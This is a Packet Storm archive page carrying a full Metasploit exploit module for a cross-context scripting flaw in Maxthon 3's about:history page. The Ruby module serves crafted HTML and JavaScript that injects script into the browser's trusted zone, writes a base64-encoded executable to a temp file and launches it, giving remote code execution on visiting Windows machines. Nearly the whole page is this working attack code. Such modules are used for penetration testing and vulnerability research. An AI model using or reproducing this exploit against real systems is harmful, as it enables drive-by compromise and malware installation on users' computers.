exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Maxthon3 about:history XCS Trusted Zone Code Execution

Maxthon3 about:history XCS Trusted Zone Code Execution
Posted Dec 8, 2012
Authored by Roberto Suggi Liverani, sinn3r, juan vazquez | Site metasploit.com

Cross Context Scripting (XCS) is possible in the Maxthon about:history page. Injection in such privileged/trusted browser zone can be used to modify configuration settings and execute arbitrary commands. Please note this module only works against specific versions of XCS. Currently, we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.

tags | exploit, arbitrary
SHA-256 | edfb695d586066cbef9515fde0393bb119c669cea54c3475dc93bb3dcdbc8c10

Maxthon3 about:history XCS Trusted Zone Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Maxthon3 about:history XCS Trusted Zone Code Execution',
'Description' => %q{
Cross Context Scripting (XCS) is possible in the Maxthon about:history page.
Injection in such privileged/trusted browser zone can be used to modify
configuration settings and execute arbitrary commands.

Please note this module only works against specific versions of XCS. Currently,
we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module
'sinn3r', # msf module
'juan vazquez' # msf module
],
'References' =>
[
['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Maxthon 3 (prior to 3.3) on Windows', {} ]
],
'DisclosureDate' => 'Nov 26 2012',
'DefaultTarget' => 0
))
end

def on_request_uri(cli, request)
if request.headers['User-agent'] !~ /Maxthon\/3/ or request.headers['User-agent'] !~ /AppleWebKit\/534.12/
print_status("Sending 404 for User-Agent #{request.headers['User-agent']}")
send_not_found(cli)
return
end

html_hdr = %Q|
<html>
<head>
<title>Loading</title>
|

html_ftr = %Q|
</head>
<body >
<h1>Loading</h1>
</body></html>
|

case request.uri
when /\?jspayload/
p = regenerate_payload(cli)
if (p.nil?)
send_not_found(cli)
return
end
# We're going to run this through unescape(), so make sure
# everything is encoded
penc = generate_payload_exe
penc2 = Rex::Text.encode_base64(penc)

# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
content = %Q|
if(maxthon.program)
{
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
var fileObj = maxthon.io.File(fileTemp);
maxthon.io.FileWriter(fileTemp);
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
maxthon.program.Program.launch(fileTemp.name_,"C:");
}
|

when /\?history/
js = %Q|
window.onload = function() {
location.href = "about:history";
}
|

content = %Q|
#{html_hdr}
<script>
#{js}
</script>
#{html_ftr}
|

when get_resource()
print_status("Sending #{self.name} payload for request #{request.uri}")

js = %Q|
url = location.href;
url2 = url + "?jspayload=1";
inj = "?history#%22/><img src=a onerror=%22"
inj_1 = "a=document.createElement('script');a.setAttribute('src','"+url2+"');document.body.appendChild(a);";
window.location = unescape(inj) + inj_1;
|

content = %Q|
#{html_hdr}
<script>
#{js}
</script>
#{html_ftr}
|
else
print_status("Sending 404 for request #{request.uri}")
send_not_found(cli)
return
end

send_response_html(cli, content)
end

end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close